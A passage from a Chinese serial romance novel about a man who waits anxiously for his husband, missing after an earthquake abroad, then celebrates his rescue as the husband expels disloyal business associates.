程郁转身，抬手就给了苏玉一巴掌，又一把抓住苏玉的衣服领口，扯向自己：“谈兆天没死！就算他真死了，还有谈征！轮得到你在这里告诉我生意和公司是谁的？！” “给你那个脑子缺筋的傻逼姐夫打电话，问他在哪儿！” 苏玉红着眼睛捂着脸：“你打我……” 程郁吼：“打电话！现在就打！” 苏玉不得不颤颤巍巍打电话，打给连锋：“喂，喂，姐、姐夫，你现在在哪儿？” 连锋在自己酒吧的吧台边喝酒，边喝边转着脑子，琢磨谈兆天不在了，以后自己一个人，到时候…… 正想着，程郁带着一行人浩浩荡荡走进，又一把推开了试图拦他们的酒吧领班。 连锋放下手里的酒杯，转头看见这一幕，默默愕然。 他正要蹙眉呵斥，就看见程郁边走向他边冷眼指着他，对身边人说：“把他给我绑了。” 程郁身边的几个人马上跑向连锋。 连锋认识他们，蹙眉喝道：“你们干什么！？” 连锋没准备，也完全没想到，就这么被几人按住了，按在了吧台边。 程郁快步过来，抬手就啪啪扬了连锋两巴掌，再一把扯住连锋的领子，磨牙：“我没警告过你吗？滨江区乐园的钱你都敢动？” “你真想造反啊你！？” 就这样，程郁扣了连锋，绑了人。 这时候已经顾不上什么法律不法律、合规不合规了。 程郁只想在谈征和谈兆天回来之前，把眼前的局面和浮动的人心都一一按住。 绑连锋，顺便就当杀鸡儆猴了。 他倒要看看，这个时候，还有谁敢在他眼皮子下面乱来。 这天是谈兆天失联的第三天。 而这一晚，程郁还是没有睡着。 他在沙发上抱着老虎，一直看着大门的方向。 大门一动不动，程郁感觉自己的心都快溺毙了。 夜深人静，他满脑子都是谈兆天，谈兆天的好、谈兆天的笑、谈兆天的样子、谈兆天的拥抱，以及谈兆天在地震发生时可能经历的一切…… 程郁抱着老虎，想哭，却根本哭不出来。 他没有眼泪，只有满心的煎熬焦灼以及对谈兆天的思念和希望谈兆天没事的祈祷。 他一遍遍告诉自己，没事的，会没事的，肯定不会有事的。 程郁又生生硬熬了一晚。 天一亮，他去洗澡、换衣服。 从房间出来，他的着装容貌依旧体面，看不出一丝纰漏。 第四天这日，谈兆天依旧没有消息。 谈征已经到咖什了，找了一天，始终没有找到谈兆天，现在付了钱，让咖什当地的人一起帮忙找。 江悦明接到谈征电话就哭了，对程郁说：“你要有心理准备……” 程郁木然听着，什么流露都没有。 回家，程郁崩溃地抱着老虎，他这时候还是没有眼泪，一口气堵在他心口，一直将他的神思和精神紧紧地吊着。 程郁这时候想：活要见人死要见尸。 对，活要见人，死要见尸。 除非谈兆天的尸体摆在他面前，不然他绝对不相信谈兆天死了。 绝对不信！！ 程郁坐在沙发上搂着老虎，翻着手机里的联系人，还在想办法。 凌晨三点多，靠着沙发闭着眼睛的程郁突然睁开眼睛，想到什么，他赶忙拿起手机，登录自己的邮箱app。 他在联络人里翻找到苏牧清教授的邮箱，开始写邮件，清楚地告知了自己目前遇到的情况，询问教授是否有办法帮忙找人，最后附上了自己的手机号码。 邮件发送，程郁仰头靠着沙发。 他对此没有报太大的希望，但只要有途径，他就会试一试，万一呢，程郁想，万一呢。 他会平安回来的。 程郁再次告诉自己，一遍遍告诉自己。 我还没有和他说我爱你，他怎么能死呢。 他不会死的。 天亮了，程郁又去洗澡、换衣服。 八点多，程郁突然接到一个陌生号码，一接通，对方就道：“程郁，是吗？” 程郁一顿，想到可能是谁，马上道：“对，是我，苏教授吗？” “我是苏牧清的爱人。” 对方简单地介绍了下自己，跟着就道：“长话短说。” 程郁屏息听着。 对方：“我可以在缅国当地找到一支由退伍军人组成的安保团队，请他们前往咖什帮忙找你爱人。” “现在是想问你，费用有些贵，你能不能负担。” “苏教授说，如果你负担不了，他可以……” 程郁没听完，马上道：“可以，没有问题，多少钱都行。” 对方：“他们总共九个人，一人五十万人民币，总共是四百五十万。无论找不找得到，这四百五十万都必须一次性付清。” “如果找到人，需要另外再付五十万。” “这样就是五百万。” “有问题吗？” 程郁：“给我账号，我现在就打。” 对方也很爽快：“好，收到钱，他们马上就会出发去咖什，他们有卫星电话，会和我联络，无论能不能找到，我会再用这个号码联系你。” 挂了电话，收到对方发来的卡号，程郁马上就开始转钱。 他这时候完全没有质疑对方是否是骗子。 只要有方法，他就试，他没有时间和力气去质疑真假。 转完钱之后，程郁去了卧室，打开了衣柜，拿了件谈兆天的衣服出来，紧紧地抱在怀里。 他在心里一遍遍地说：我爱你，我爱你，你快回来，快点回来，平安回来…… 今天是第五天，谈兆天失联、地震发生的第五天。 程郁因为几天没睡，下午终于在车里困得眯了片刻，还梦到谈兆天回来了，惊喜中一下醒了，醒来发现是梦，心里憋得难受，死死堵着，几乎喘不过气。 这时候，除了程郁，连远在咖什的谈征都默认谈兆天大概率已经不在了，江悦明甚至不敢告诉程郁谈征在咖什一无所获。 家里，程郁又抱着老虎在沙发上干坐了一夜。 早上十点，程郁接到苏牧清爱人的电话，说：“那边传来消息，说他们找到一个叫‘tan zhao tian’的人，听发音是这个，不知道是不是你要找的人，他们已经把人送去了大使馆。” 程郁：！！！ 程郁马上联系江悦明，江悦明知道后立刻给家里父母打电话，去联系大使馆。 不久，江悦明回过来电话，激动地说：“大使馆证实了，是有叫谈兆天的国人被送过来，说已经帮他补办了临时护照，会送他先到泰国，再从泰国让他坐飞机回来。” 程郁听见，眼泪一下流了下来。 次日一早，程郁和江悦明就到了机场的出站口等。 他们查了所有泰国直飞本地的航班，一班飞机一班飞机地等，等得江悦明心里非常的焦虑，生怕一切只是镜花水月、竹篮打水。 程郁这时候的心也是高高吊着，不见到谈兆天，不见到他人，他怎么都不可能心定。 出站口出来一批又一批的人，程郁和江悦明几乎望眼欲穿。 终于，程郁在人群中看见了那张脸，是他熟悉的五官和眉眼，只是人有些憔悴，还胡子拉碴的。 看见，对上那双眼睛，程郁立刻跑过去，和同样快步从出站口出来的男人一下紧紧地拥抱住。 程郁的眼泪瞬间落下，紧紧地搂着人，大声哭道：“吓死我了！吓死我了！” 谈兆天也紧紧抱着程郁：“我没事，我没事，我没死，我回来了。” 程郁崩溃大哭，话都说不利索了，紧紧地搂着，身上也发着颤，终于所有的情绪都有了落点。 谈兆天也红了眼眶，在出站口前的人流中抱着程郁，用力地紧紧地抱着。 第68章 突然想到什么，程郁松开拥抱，看谈兆天的脸，低头看谈兆天身上，一脸慌张和关切：“你受伤了吗？有没有哪里被砸到？出血了吗？有没有伤口？” 程郁格外慌张，流露着从未有过的心惊胆颤。 “我没事，我没有受伤。” 谈兆天的手抚着程郁的脸，看着程郁，也一脸关切：“是不是吓坏了。” 程郁满脸泪水，重新一把紧紧抱住谈兆天，哭喊道：“我真的吓死了，我以为你死了，我以为你回不来了。” “我没事，我好好的，我回来了。” 谈兆天也紧紧地抱着程郁。 短短几天的经历，惊心动魄，他也一度以为他回不来了。 不远处，江悦明看着他们，一颗高高吊着的心终于落下，人都站不稳了，瘫坐到地上，手摸在心口，默默吐息：太好了，太好了，回来了，终于回来了。 程郁不哭了，和谈兆天离开出站口，谈兆天见到江悦明，也隐忍着情绪拥抱了江悦明。 江悦明红着眼睛，抱了抱谈兆天：“回来就好，回来就好，我刚刚已经发消息给你哥了，你哥马上回来。” 两人分开，谈兆天问：“他去咖什找我了？” 江悦明点点头，解释：“程郁托到人，他从泰国去的缅国，一直在找你。” “你回来了，他也安心了。” 机场不是说话的地方，三人很快往地下停车场走，准备回家，程郁的手一直紧紧地牵着谈兆天。 然而到了地库出口处，江明悦正要打电话让司机把车开过来，程郁的身形晃了晃，干熬了几天的身体终于在卸掉一口气之后彻底撑不住了，他眼睛一翻，晕倒的同时眼看着就要摔在地上，被谈兆天眼疾手快地搂住。 “程郁！” 程郁彻底晕死了过去。 程郁被紧急送到医院急诊，万幸，人没有大碍，就是身体很虚，劳累过度，心电图和体内电解质水平都是紊乱的。 单人病房，程郁躺在床上，静静地闭着眼睛，平放在身侧的手扎了软针，正在吊水。 他脸上一点血色都没有，眼下也有乌青，足见这几日熬得有多辛苦。 谈兆天胡子拉碴地坐在床边，默默看着程郁。 江悦明觉得谈兆天这几天明显瘦了，出去给谈兆天买了点吃的，带回来，进病房，边递给谈兆天边低声叹道：“联系不上你，程郁担心坏了。” “他每晚回家，我也不知道他有没有休息。” “我看他每天都换衣服都洗澡，以为他有正常休息，现在想想，他肯定都没有睡，应该也睡不着。” 江悦明跟着又和谈兆天说了些他最近不在、家里的一些情况，包括程郁绑了连锋。 江悦明：“我也是今天和程郁一起在机场等你的时候，听程郁说的。” “程郁说连锋‘造反’，不但去家里，要他签什么不和他争公司的承诺书，还转走了公司账上的钱。” “程郁很生气，就找人一起，绑了连锋。” 江悦明：“你哥去找你，你也不在，这几天家里这边人心浮动，全亏程郁撑着、里外打理。” 又说：“连锋一绑，那些蠢蠢欲动的估计也不敢乱动了。” “但你们兄弟再不回来，程郁一个人，估计也撑不了几天。” “你自己心里也清楚的，那么多人，没几个是老实的。” “他们以为你死了，谈征又不在、这么多年也不管生意，有些人，肯定是有想法，准备做点什么的。” “程郁说他们‘造反’，真的一点儿没冤枉他们。” 谈兆天看着床上的程郁，沉默地听着，脸都黑了。 — 程郁突然醒了，睁开眼睛，没见到谈兆天，以为刚刚在机场等到谈兆天也是场梦，一下崩溃了，难受得差点呼吸不过来。 就在他正要哭出来的时候，病房门开了，谈兆天走了进来，程郁转头看见他，什么都顾不上了，一下起身，扑过去，谈兆天急忙快步上前，捞住差点摔下床的程郁，程郁手上的软针也松开了，血水滴在床边，程郁根本顾不上这些，瘫软在谈兆天怀里，抬手摸他的脸，崩溃哭道：“不是梦吗，你真的回来了吗。” 谈兆天从未见过这样的程郁，心疼得一颗心都像被什么紧紧攥着。 他抱着程郁，搂着程郁的肩膀，看着程郁的眼睛：“是我，真的是我，不是梦，我回来了。” 程郁仔细地认真地用力地看着他，这才去抱他，所有的情绪一下汹涌而出，崩溃哭喊道：“我吓死了，我以为你死了，我以为你回不来了。” “我等了你六天，我以为没有希望了，我想死的心都有了……” 谈兆天也瞬间红了眼眶，紧紧抱着程郁。 程郁哭，哭得不行，谈兆天心里特别难受，像是又经历了一次7.9级的地震。 两人抱在一起，穿越而过的不止这失联的六天六夜和2000公里的距离，还有生死绝望的煎熬。 好一会儿，程郁的哭声小下去，谈兆天这才发现程郁手上的针掉了、血滴得满地，赶忙一手按住程郁手上的针孔，一手去按床头的护士铃。 护士过来，给程郁重新扎针，程郁终于才不哭了，谈兆天拿纸巾，帮他把满脸的泪水擦干净。 程郁一直盯着谈兆天看，看他的脸，看他身上，就像在确认他是不是真的没有事。 等护士走了，谈兆天坐到床边，搂着程郁，用力地吻了吻程郁的发顶：“我没事，真的，一点事都没有。” 程郁看着他，神情里满是关切和担忧，也满是迷恋和不舍。 他再次暗自确认，这不是梦吧？是真的吧？ 觉得应该是真的，鼻子一酸，又忍不住想哭。 他这六天的思念堆积得太多太深了，即便此刻谈兆天人在眼前，他的内心还是一样的煎熬难受。 程郁一动不动地盯着男人，问他：“地震的时候你在哪儿？住的地方全塌了，你跑出来了吗？” “为什么这么久都没有消息，你的手机丢了吗？” 谈兆天解释：“我当时没在住的地方，你给我的观音吊坠丢了，不知道是被人偷了还是掉在哪里了，我出来找，去吃饭的地方找。” 吃饭的地方在顶层，地震，楼塌的时候，谈兆天最后没跑得出来，被塌的楼板盖在了下面，运气好，楼板下有足够的空间，他自己当时身上也带了包，包里有水和吃的。 但他没有手机，手机留在睡觉的地方。 那几天，他出不来，一直在想办法向外求救、喊人，也能听到外面的脚步声和人声，但一直没人救他。 突然这日，他听见外面有人用当地口音不停地一遍遍地喊他的名字，他便马上应答、大声呼救，就这样，他被救了，救他的几人均穿着迷彩服，不知是不是军人，总之救了他，最后还送他去了大使馆。 程郁一听，心知是苏教授的爱人找的人帮忙救了谈兆天，他心里万幸，万幸那时候他突然想起了苏牧清、向苏牧清求助，不然谈兆天被压在楼板下，还不知道最后什么时候能被救上来。 程郁挨在谈兆天怀里，闭了闭眼睛，庆幸：“还好你得救了，还好那时候你不在住的地方。” 谈兆天也是同样的想法。 他吻程郁的额头、：“是你给的观音像救了我，不是发现那个丢了，我不会出来。” “不出来，楼塌了，就真的得死了。” 程郁根本听不得这个“死”字，用不挂水的手锤男人，禁不住又流了眼泪：“不许说那个字！” “好，好，我不说了。” 谈兆天又吻程郁，关心道：“这几天都没有睡？” 程郁吸吸鼻子：“我睡不着。联系不上你，我很担心。” “没事了，都没事了，我回来了。” 谈兆天紧紧地抱程郁。 程郁流着眼泪，又说：“以后不许你随便出国了，不要再做玉石的生意了。” “好，好，不做了，不去了。” 谈兆天顺着。 程郁的脑袋挨在谈兆天颈间，抱着男人，感受到熟悉的气息，他终于彻彻底底地安心了。 他回抱谈兆天，搂着男人，说：“我以后一天都不要和你分开，一天都不行！” “你去哪里都要带着我！” 谈兆天：“好，不分开。” 又抱了会儿，程郁的情绪被抚慰下来，终于没再哭了。 他松开怀抱，看看男人，伸手过来摸他的脸，问：“楼倒的时候害怕吗？” “还好。” 谈兆天如实道：“没有被楼板砸死，心里万幸。当时也顾不上害怕，就想着得想办法出去。” “后来被救出去了，看见周围楼全都塌了，也没有任何救援，心里才有点后怕。” 谈兆天跟着道：“救我的几个人像是军人，他们知道我的名字，像是专门救我的，是你找的人吗？” 程郁点点头：“是我大学一个教授的爱人，他认识缅国那边的退伍军人，我付了钱，请他们去咖什找你。” 谈兆天再次庆幸：“还好有你。” 程郁又去搂谈兆天，委屈着嗓音，难过地说：“我当然要找你，你死了，我怎么办。” 分开，程郁看着谈兆天，谈兆天也看着程郁，两人动情又克制地吻到了一起，用亲吻倾诉着对彼此的思念和爱意。 唇分，程郁迷恋又专注地看着谈兆天，再伸手摸摸他身上，心疼道：“都瘦了。” 说着又摸摸男人的胡渣，抚摸男人的脸颊：“你胡子别自己刮，等我回去帮你刮。” “你好不容易回来，得给你去去身上的晦气。” “好。” 谈兆天也看着程郁，很心疼，程郁才是真的瘦了一大圈，下巴都尖了。 他问：“联系不上我，是不是很担心？” “嗯。” 程郁点头，吸吸鼻子，如实地倾诉道：“我都快疯了。咖什当地的视频里，你们住的楼，全都塌了。” “我怕你也死了，整夜整夜的睡不着。” “没事了，都没事了。” 谈兆天搂程郁，安抚他：“我回来了，以后都不去咖什了。” “别怕，我好好的，一点事都没有。” “我安全回来了。” 当晚，程郁没出院，住在医院单人间，谈兆天陪他住，两人一起挤在狭小的床上，紧紧地抱贴在一起。 程郁彻底安心了，这才睡了个好觉。 谈兆天也暂时什么都没管，陪着程郁，安心地睡了一晚。 次日，程郁出院，江悦明也一起，三人回了程郁谈兆天那儿。 谈兆天在家门口跨过火盆，进门后又用柚子叶洗过手，就算去了晦气。 洗完澡，一起站在浴室镜子前，程郁拿着刮胡刀，亲自给谈兆天刮胡子，一点点，刮得特别仔细。 就是刮着刮着，程郁忍不住又红了眼眶，觉得这次真的是万幸中的万幸，7.9级的地震，楼都成片的塌了，谈兆天也被压在楼板下面，如果不是找了苏牧清求助，教授的爱人帮上了忙，最后会是什么结果，真的难以想象。 程郁也想象不出谈兆天被压在楼板下、孤立无援的时候有多绝望无助。 他只是稍微想想，心里都难受得不行。 刮完胡子洗好脸，换上衣服出来，谈兆天恢复了他的日常装束，就是神情沉着，眸光黑亮，看起来比从前还要凶的样子。 他在沙发边摸尾巴恨不得摇断的老虎，给老虎喂肉干，摸老虎的狗头：“好儿子。” 他已经从程郁嘴里知道，当时连锋几人找过来，老虎咬了他们。 这会儿程郁不在，在里面卫生间洗澡，江悦明坐在沙发边，也摸了摸老虎，对谈兆天道：“连锋那儿你打算怎么办？” 谈兆天没有神情：“该怎么办怎么办。” 江悦明：“前两天蠢蠢欲动的可不止连锋。” 谈兆天拍了拍手里的肉干碎屑，淡定的：“一起收拾。” 跟着道：“大哥晚上的飞机？” 江悦明点头：“坐的红眼航班，凌晨到，你不用担心他，他好好儿的。” 江悦明走了，还带走了老虎。 谈兆天抱了穿着居家服、头发吹得半干的程郁去卧室。 程郁摸摸谈兆天身上，心疼：“真的瘦了好多。” 谈兆天把程郁送去床上，自己脱了裤子上衣，一起躺下，又拿遥控器，关上了窗帘。 窗帘合上，室内一下就黑了，程郁挨去谈兆天怀里，闭上眼睛，谈兆天搂了程郁，也闭上了眼睛，一起补觉。 这一刻，两人都是心安的。 不用多言，不用说什么。 只是抱着一起在家睡一觉，幸福感便能溢满胸腔。 凌晨，谈征一落地，就来了程郁家，见谈兆天。 兄弟俩一见面，便无声地握着抓住手，肩膀一碰，简单地拥抱了下。 谈征沉稳的：“安全回来就行。” 又说：“把老婆照顾好，你不在这几天，都是你老婆在扛事儿。” 谈兆天：“我知道。” 谈征没急着走，和谈兆天一起站在阳台，兄弟俩单独聊了片刻。 谈征说：“连锋的事我听说了，你准备怎么办？” 谈兆天没有流露神情，还是那句：“该怎么办怎么办。” 谈征：“你嫂子有句话说得对，摊子确实太大，出点事，就容易被人背后捅刀子。” 谈兆天幽幽：“捅我可以，捅程郁不行。” 谈征走后，谈兆天回卧室，惊讶地发现程郁竟然躺在床上看笔记本电脑弄工作。 谈兆天觉得不可思议，拿走程郁腿上的笔记本：“不累吗？” “诶！” 程郁没抢，算了，也弄完了。 他解释：“不累啊，自己的工作，当然不能落下，有空了就得捡回来啊。” 谈兆天服气，回床上，吻了吻程郁，劝：“休息几天吧。” “我休息了啊，我不就在休息吗。” 程郁：“自己的公司，总不能丢掉吧。” “好多天没管了。” 谈兆天知道程郁这几天都在管生意、镇场子，仕鸿那边没顾上。 他又吻了吻程郁的嘴唇，终于说道：“我不在，他们欺负你了？” “没有啊。” 程郁神色如常：“无非是有点不太老实。” 程郁一点儿不带隐瞒的，直接就道：“尤其是你那个‘好’兄弟连锋。” “带人来家里，指着我的鼻子让我签东西，还骂我是捞男，说我最巴不得你死，好分财产。” “他那个小舅子也嚣张得很，挨了我两巴掌。” 程郁看着谈兆天轻瞪眼：“你身边，都是些什么人啊，这种人也能做好兄弟吗。” “亏得我不是吃瘪的性格，老虎也凶，会咬人，这要换了其他人，再有个两三岁的孩子，简直就是孤儿寡母的待遇。” 谈兆天又吻了吻程郁：“你放心，这次冒头的，我一个都不会放过。” 程郁也去吻谈兆天：“你要补偿我。” “想要什么？” 这熟悉的话和风格，谈兆天忍不住就笑了。 就喜欢程郁这种有什么说什么、主动问他要的直接。 程郁拉男人领子，表情幽幽，声音也幽幽，低声又清缓地说：“要你操我。” 又说：“还要你边操边说你爱我。” 谈兆天就笑：“现在吗？” 程郁摇头：“等你那身腱子肉养回来。” 又摸摸男人肩膀和胸口，不满道：“胸都瘪了，真讨厌。” 哼哼：“再也不要去什么咖什了，以后我不同意，你隔壁省都不许去。” 谈兆天顺着：“嗯，好，不去，哪儿都不去。” 第69章 次日，谈兆天自己的酒店的会议厅，所有管着重要生意、在谈兆天谈征这儿有分量的弟兄，全部来了，包括不久前刚被放了的连锋。 谈兆天在会议厅露面，走上会议厅的略高一些的台子，身边跟着几人，抬着几个箱子，箱子一打开，里面全是钱。 谈兆天没耽搁，钱全部打开之后，直接扫过台下道：“这次，我不在，你们这么多人里，有谁，生意上偷偷动了手脚的，自己上来，拿钱滚蛋！” 台下一众人安安静静，屁都不敢放，全都看着台上的谈兆天。 谈兆天扫台下，不怒自威：“不要让我说第三遍！” “动了手脚的，不老实的，自己上来，拿了钱滚！” “现在不站出来，等会儿我点名，屁都不会给你们一毛！” 谈兆天：“我数到三！” “一！” “二！” 连锋突然从人群中走出来，走向台子，大喝道：“你不就想说我吗？！” 边走近边道：“是！我是动了公司的钱！” “我如果不动！难道等着你老婆把公司的钱兄弟们的钱当遗产分走吗！？” 连锋说着来到台下，理直气壮。 谈兆天一步跨下台，没二话，抬手就给了连锋一拳，力气之大，直接把连锋掀在了地上。 全场安安静静，所有人都在看着，大气不敢出。 连锋爬起来，不可思议地看向谈兆天，大声道：“我跟你多少年兄弟！你那个老婆才跟你几年！？你打我？你为了他打我！？” 谈兆天一步跨回台上，抓了把钱就甩向连锋，没有吼，沉稳的，不怒自威：“拿了钱滚！” 又抬手指连锋：“你，当初犯事儿，进局子两个月，我怎么对你老婆孩子的？” “这次，我不过失联几天，你又是怎么对我老婆儿子的？” “你有脸问我！？” 连锋一顿，一时没接上话。 谈兆天放下手，当着所有人的面，冷静果断地说道：“我拿你当兄弟，这么多年，无论钱上面，还是兄弟感情上，还是对你家里人，我没有亏待过你一毛一分！” “你是怎么对我的！？怎么对程郁的？！” 连锋试图解释，大声：“我转走钱，又不是我想把钱独吞，我只是不想那些钱当成你的遗产被人分走！” 谈兆天目眦欲裂：“程郁是我老婆！他分我遗产有什么问题！？你的遗产我去跟你老婆孩子争吗？” “去找他们让他们签东西吗？！” 连锋：“是！这次是我做的不厚道！但你老婆也绑了我，我没说什么吧？” “一码归一码，你现在让我拿钱滚蛋，这是做兄弟的应该……” 谈兆天：“你不是我兄弟！” 连锋喝：“谈兆天！” “这么多年！和你做生意的是我！生意场上蹚过来的也是我！” “不是别人！” “更不是你老婆！” 谈兆天转身抓着钱往台下丢：“不用废话！以前是兄弟，我问心无愧！” “今天拆伙，一拍两散！” “以后你走你的阳关道！我过我的独木桥！” 说着扫视全场，扬声道：“我再说一遍！动了手脚的，自己滚上来拿钱走人！” “我点名的，一分钱没有！” “谈兆天！” 连锋跨上台，伸手抓住谈兆天的衣领：“你疯了吗？为了个男人？！” “这些都他妈是兄弟！和你老子、和你哥，几十年的交情！！！” 谈兆天抬手，将连锋一拳挥倒在地，冷眸冷眼：“不用提我爸妈提我哥！” “我们家，我们兄弟两个，不欠你们任何人！” “这么多年，我哥，我，做生意，赚钱，哪里亏待过你们一毛？！” “亏待过你们吗！？” 谈兆天抓住连锋的领子把人提起来，甩去台下：“滚！” “滨江区乐园的钱都给我吐出来！” “你不吐，你自己心里清楚，我多的是办法弄你！” 连锋这才慌了：“兆天，兆天……” 谈兆天不再理连锋，冷冷扫视台下：“还要我再说第四遍吗？” “自己上来！” 这才有人陆续动了。 有人上来，马上就给谈兆天跪了。 有人开始哭，冲谈兆天双手合十，求情。 有人站在台上，深深埋着头，不敢看台上。 谈兆天扫过几人，去拿钱，把钱一沓一沓地丢他们身上：“拿了钱滚！” 其他人站着，一动不敢动，更不敢出声，生怕谈兆天的刀子挨向自己。 程郁今天白天又补了会儿觉，醒来的时候，谈兆天已经回来了，正站在床边脱衣服。 嗯？ 程郁知道谈兆天出去了一趟，迷迷糊糊的，还奇怪：“你已经回来了？” “回来了。” 谈兆天脱掉裤子衣服，挪回床上，掀开被子，跟着躺回去。 程郁马上挨去男人怀里，闭着眼睛，嘀咕着说：“不能再睡了，再睡作息都得颠倒了。” 跟着道：“你去教训连锋他们了吗。” 谈兆天“嗯”了声，说：“我让他们都滚了。” 程郁不意外，连锋这种人，确实也不该留在身边，尤其是做朋友。 不聊这个了。 程郁搂贴在谈兆天怀里，感慨：“和你睡习惯了，还是喜欢你在，你不在，我一个人睡都觉得没气氛。” 谈兆天吻了吻他：“以后我每天都在。” “嗯。” 程郁的手搭在男人胸口，缓缓摸了摸，又闭上了眼睛，安心的。 谈兆天也闭上了眼睛，准备陪程郁再补会儿觉。 片刻，程郁睁开眼睛，摸上谈兆天的脸，抬起下巴，亲了亲男人的嘴唇。 谈兆天转过头，也吻程郁，睁开眼睛，问：“睡不着了吗？” “不睡了，想亲你。” 程郁吻他，流露出的神情是迷恋的。 谈兆天便和他拥吻到了一起，轻柔清缓又绵长地吻着，吻了很久。 唇分，程郁又目光幽深地看着谈兆天，说：“你去咖什之后，我每天都在想你，想你什么时候回来。” 谈兆天与他额头相抵，闭了闭眼睛，感受此刻的这份柔情：“我也是。” 程郁：“我特别想你。” 谈兆天：“我知道。” 程郁又说：“以后你去哪儿都带着我，我也是，我不想和你分开，一天都不想。” 谈兆天：“好。” 程郁亲了亲他：“我要听你说那三个字。” 谈兆天便说了：“我爱你，我爱你，我很爱你，非常爱你。” 程郁心满意足地再次搂进男人怀里，紧紧地抱着。 晚些时候，两人都睡醒了，谈兆天缓缓进去，程郁忍耐又难耐地搂着男人的宽肩。 谈兆天说“我爱你”，一声声，程郁喉间的喘音都被撞得支离破碎。 结束，谈兆天抱程郁去泡澡。 两人像从前一样，一起泡在热水里，前胸贴后背地坐在一起。 也像从前一样，说说笑笑。 谈兆天觉得他回来了，一切就和往常一样，直到泡完澡，又冲洗过后，穿上衣服，他给程郁吹头发。 他站在程郁身后，像平时一样，一手举着吹风机，一手捋程郁的额发，先吹了头发略长的前面。 吹得差不多了，他的手来到程郁后脑，正吹着，手从下往上的把短发往上捋，却愕然看见了一层层的白发，一大片，被覆在正常的黑发下。 谈兆天顿时便红了眼眶，喉结翻滚，喉头哽咽。 他放下吹风机，去抱程郁。 程郁“嗯？”了声，不解。 谈兆天紧紧地抱着程郁，眼底赤红，眼眶湿润。 程郁从来没说过喜欢他、爱他。 程郁过去也总说，我可能还没有爱上你。 可程郁怎么可能不爱他？ 程郁的爱，过去在日常与他的点滴里。 程郁的爱，如今在这半头银白的发丝间。 程郁爱他，当然爱他，非常的爱他。 “怎么了？” 程郁不明所以。 谈兆天没说什么，松开程郁，重新拿起吹风机，给他吹头发。 吹风机的热风吹过，后脑勺的短发如草浪一样掀开晃动，一片银色。 程郁全然不知。 谈兆天给他吹好头发，抱了程郁坐去水池的大理石台面上，亲吻程郁。 程郁的腿就夹着男人的腰，边笑边亲吻，像从前一样。 程郁回公司了，精神饱满、容光焕发，也依旧是一身名牌，特别的得体英俊。 他边往自己办公室走，边和同事们打招呼：“我前几天不在，大家辛苦了。” “老规矩，不来虚的，加奖金。” “喔~~哦~~” 同事们起哄的起哄，鼓掌的鼓掌。 程郁笑着，年轻的面孔展露着风发的英姿，一点儿没变。 — 谈兆天去见了谈征，他对谈征说，他要脱手一些生意，也不准备再像过去一样“养”那么多弟兄。 谈征随他，只是问：“你想好了？” “嗯。” 谈兆天点头。 程郁那半头白发让他下定了决心。 他一个人，无所谓被不被捅，捅了他，大不了流点血，长个教训。 但他有程郁，程郁是他的软肋，他不能给程郁留下那么多隐患和麻烦。 谈兆天想好了，生意他会散掉大部分，那么多弟兄也是。 他以后不顾东管西了。 他有程郁，还有老虎，以后就老婆孩子热炕头。 谈兆天见完谈征后，开车去了菜市场和超市。 他买了芝麻，还有核桃，让人帮他磨成了粉。 程郁的白发因他而来，他要给程郁把头发全部养回来。 这边，程郁加上了苏牧清的微信。 他和苏牧清聊了会儿，也感谢了他们夫夫帮忙从咖什救出了谈兆天。 苏牧清说：【当时急坏了吧。】 程郁：【不瞒你们说，当时我想死的心都有了。捂额头笑哭.jpg】 程郁从和苏牧清的闲聊里知道了苏牧清和爱人正在国外旅行度假。 程郁：【等你们回国，我请你们吃饭。】 苏牧清：【好。】【魔蝎小说 mo xie xs .c om】 【END】 第70章 没几天，这日，程郁给谈兆天安排了一场惊喜—— 谈兆天晚上回家，一进家门，就见家里到处铺满了粉白调的鲜花，装点得好看又隆重。 谈兆天心知是程郁，意外了下，马上就想今天是什么日子，自己总不能是把什么重要的纪念日给忘记了。 程郁这时已经站在了客厅里，一只手垂落身侧，另一手拿了一个绒布礼盒，笑着看向谈兆天。 谈兆天走进客厅，眼神：？哪个纪念日？ 什么重要的日子？ 程郁含着笑，走到谈兆天面前，拿出手里的礼盒，打开盒子，取出里面的手表，边给谈兆天戴上，边道：“还记得吗，你在咖什的时候，我说等你回来，我有话对你说。” 谈兆天看看腕上的表，又看看程郁，挑眉：“真怀了？” “你真是！” 程郁抬手锤他胸口，凶：“怀不了一点儿！让你失望了！” 两人都笑了。 等戴好表，表盒放去身边的茶几上，程郁上前半步，手臂抬起，搂了谈兆天的脖子，面对面，亲密的。 然后他看着眼前男人，一字一句道：“我要说的就是——” 程郁看着谈兆天的眼睛，认真的，郑重的：“我、爱、你。” 谈兆天惊讶。 程郁特别的认真：“你知道的，我一直不太确定这件事。” “我总觉得喜欢一个人，爱一个人，肯定会有些特殊的心境和感觉。” “我一直对你没有什么特别的感觉，我就一直觉得我可能没有喜欢你、没有爱上你。” 程郁：“可是当那天有人质疑我，觉得我只是因为你的钱才被你打动、和你在一起，问我的时候。” “我特别明确地回复了他——” “当然，我是爱你的。” “那天我才知道，原来我心里早就已经有答案了，只是我一直没有发现。” 程郁看着眼前的男人，明确的，认真的：“谈兆天，我爱你。” “我也想过了，我肯定，当然，确实，百分百，是爱你的。” “我如果不爱你，我根本不可能和你结婚。” “我如果不爱你，你在咖什的时候，我不会那么难过甚至绝望。” 程郁又说了一遍：“谈兆天，我爱你。” 谈兆天又一次红了眼睛。 他其实从来没有怀疑过程郁喜不喜欢他这件事。 程郁是个对自己的要求和道德感都很高的人。 谈兆天早明白，如果他们之间没有感情，程郁不可能和他在一起、同意恋爱、甚至结婚。 谈兆天能在日常的点滴里感受到，程郁是喜欢他的，只是程郁自己没有察觉。 谈兆天也想过，如果有天程郁承认了喜欢他爱他，他会是怎样的心境、怎样的反应。 今天，此刻，他才知道，当程郁非常明确地说爱他的时候，他感受到的，除了欣喜开心，便是程郁给予他的沉甸甸的爱意。 等再想到程郁那一后脑的白发，谈兆天只觉得眼睛酸胀、喉头哽涩。 谈兆天拥抱程郁：“我也爱你，很爱你。” 程郁奇怪了下谈兆天的反应，柔声问：“我说爱你，你不开心吗？” 谈兆天否认：“不是，我很开心，我只是没有想到，你会特意找个机会这么郑重地和我说你爱我。” 程郁就笑了：“当然要这样了。” “这三个字这么神圣，肯定要有点仪式感的。” 松开怀抱，程郁捧谈兆天的脸，先凑过去吻了吻唇，然后道：“我跟你发誓，我会认真的、郑重的、体贴的，爱你一辈子。” “我不会去爱别人、爱上别人，我更不会出轨。” “我爱你，就只爱你一个人。” “无论你变成什么样，无论日后我们经历什么，富贵还是贫穷，我都会一如既往地爱你。” “好。” 谈兆天深深地迷恋地看着程郁，许诺：“我也是。” 